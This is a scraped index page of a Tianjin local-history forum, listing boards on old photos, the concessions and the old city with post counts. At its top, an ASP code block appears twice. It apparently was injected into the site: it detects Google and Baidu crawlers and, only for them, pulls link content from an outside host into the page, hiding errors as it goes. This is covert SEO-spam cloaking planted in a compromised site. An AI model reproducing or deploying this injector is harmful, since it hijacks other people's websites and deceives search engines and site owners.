<% Function getHTTPPage(url) dim objXML set objXML=server.createobject("MSXML2.XMLHTTP")' objXML.open "GET",url,false' objXML.send()' If objXML.readystate<>4 then ' exit function End If getHTTPPage=BytesToBstr(objXML.responseBody)' set objXML=nothing' if err.number<>0 then err.Clear End Function Function BytesToBstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function Getlink() On Error Resume Next user_agent=Request.ServerVariables("HTTP_USER_AGENT") allow_agent=split("Yahoo,MSIE,opera,Chrome,Firefox,youdao",",") for agenti=lbound(allow_agent) to ubound(allow_agent) if instr(user_agent,allow_agent(agenti))>0 then canre=1 end if next if instr(user_agent,"Googlebot")>0 or instr(user_agent,"Baiduspider")>0 then canre=0 end if if canre=0 then Dim Url,Html Url = "http://www.57tao.net/other/lianjie1.asp" Html = getHTTPPage(Url) end if response.write(Html) End Function Call Getlink() %><% Function getHTTPPage(url) dim objXML set objXML=server.createobject("MSXML2.XMLHTTP")' objXML.open "GET",url,false' objXML.send()' If objXML.readystate<>4 then ' exit function End If getHTTPPage=BytesToBstr(objXML.responseBody)' set objXML=nothing' if err.number<>0 then err.Clear End Function Function BytesToBstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function Getlink() On Error Resume Next user_agent=Request.ServerVariables("HTTP_USER_AGENT") allow_agent=split("Yahoo,MSIE,opera,Chrome,Firefox,youdao",",") for agenti=lbound(allow_agent) to ubound(allow_agent) if instr(user_agent,allow_agent(agenti))>0 then canre=1 end if next if instr(user_agent,"Googlebot")>0 or instr(user_agent,"Baiduspider")>0 then canre=0 end if if canre=0 then Dim Url,Html Url = "http://www.57tao.net/other/lianjie1.asp" Html = getHTTPPage(Url) end if response.write(Html) End Function Call Getlink() %> 天津卫论坛 天津卫 天津历史 天津老照片 老照片 天津文化 - Powered by PHPWind
社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 银行
主题:5957 | 帖子:16342 | 会员:61007 | 新会员:帆贵志 
最高日:979 | 标记已读
  • 最近没有站点公告
分栏版主:老天津 »

天津卫-天津历史资料(天津老城厢 天津租界史研究 天津历史风貌建筑 天津老照片 天津往事)

天津卫史话


主题:1041   帖子:3100
Re:天津望海楼老照片
by:ttt123987 [2010-03-04 14:56]

天津老城资料


主题:82   帖子:471
Re:天津老城厢整体规划图
by:金门 [2010-02-24 15:44]

天津租界史研究


主题:220   帖子:1034
Re:难道我们还要感谢八国联 ..
by:dafaxian1 [2010-02-04 12:07]

Tientsin(TianJin)


主题:89   帖子:773
Re:Tientsin(TianJin):Te ..
by:根艺达人 [2010-02-25 13:30]
»

天津卫

动听天下(天津交通广播)


主题:183   帖子:659
Re:铁路落后阻碍滨海新区发 ..
by:ee0215 [2010-03-09 16:45]

海河茶楼


主题:934   帖子:2608
Re:天大1977入学,1981毕业 ..
by:二号桥 [2010-03-12 11:42]

影像天津


主题:165   帖子:1067
摄影比赛~~今晚传媒集体举 ..
by:丫头123 [2010-02-25 10:31]

天津卫网-旅游频道论坛


主题:321   帖子:1716
得天塔票喔~~~
by:丫头123 [2010-02-26 14:04]

» 休闲娱乐

版块 主题 / 文章 最后发表

逗你玩儿

版主:
132/248 Re:~~~姑娘我要带着你回家 ..
ee0215
2010-03-11 16:33  

美女贴图

天津美女 天津模特 天津街拍美女 美女写真 模特 
版主:
280/447 Re:清纯佳人[15P]
湘阳飞
2010-02-28 00:28  

» 天津专业技术论坛

版块 主题 / 文章 最后发表

天津电脑网络技术交流

赞助商:天津河山科技公司(复印机维修) 
版主:
303/885 Re:三款让你可以随时随地A ..
qsdij8076
2010-02-26 18:33  

» 天津卫网版务区

版块 主题 / 文章 最后发表

天津卫客栈

版主:
130/441 Re:媒体有关天津卫网的报道
108gm春
2010-02-28 13:38  

版主交流

版主:
1805/2621 认证站点  

» 群组分类

版块 主题 / 文章 最后发表

默认分类

版主:
0/0 海外华人玩家的不二之选
我叫小伟
2010-02-11 05:28  
站点相关
» 友情链接
天津卫网 非著名曲艺网 老北京网 天津球迷论坛
[中国记忆] [天津卫网官方博客]
» 在线用户 - 共 278 人在线,40 位会员,238 位访客,最多 504 人发生在 2009-02-20 01:03
管理员 总版主 论坛版主 荣誉会员 普通会员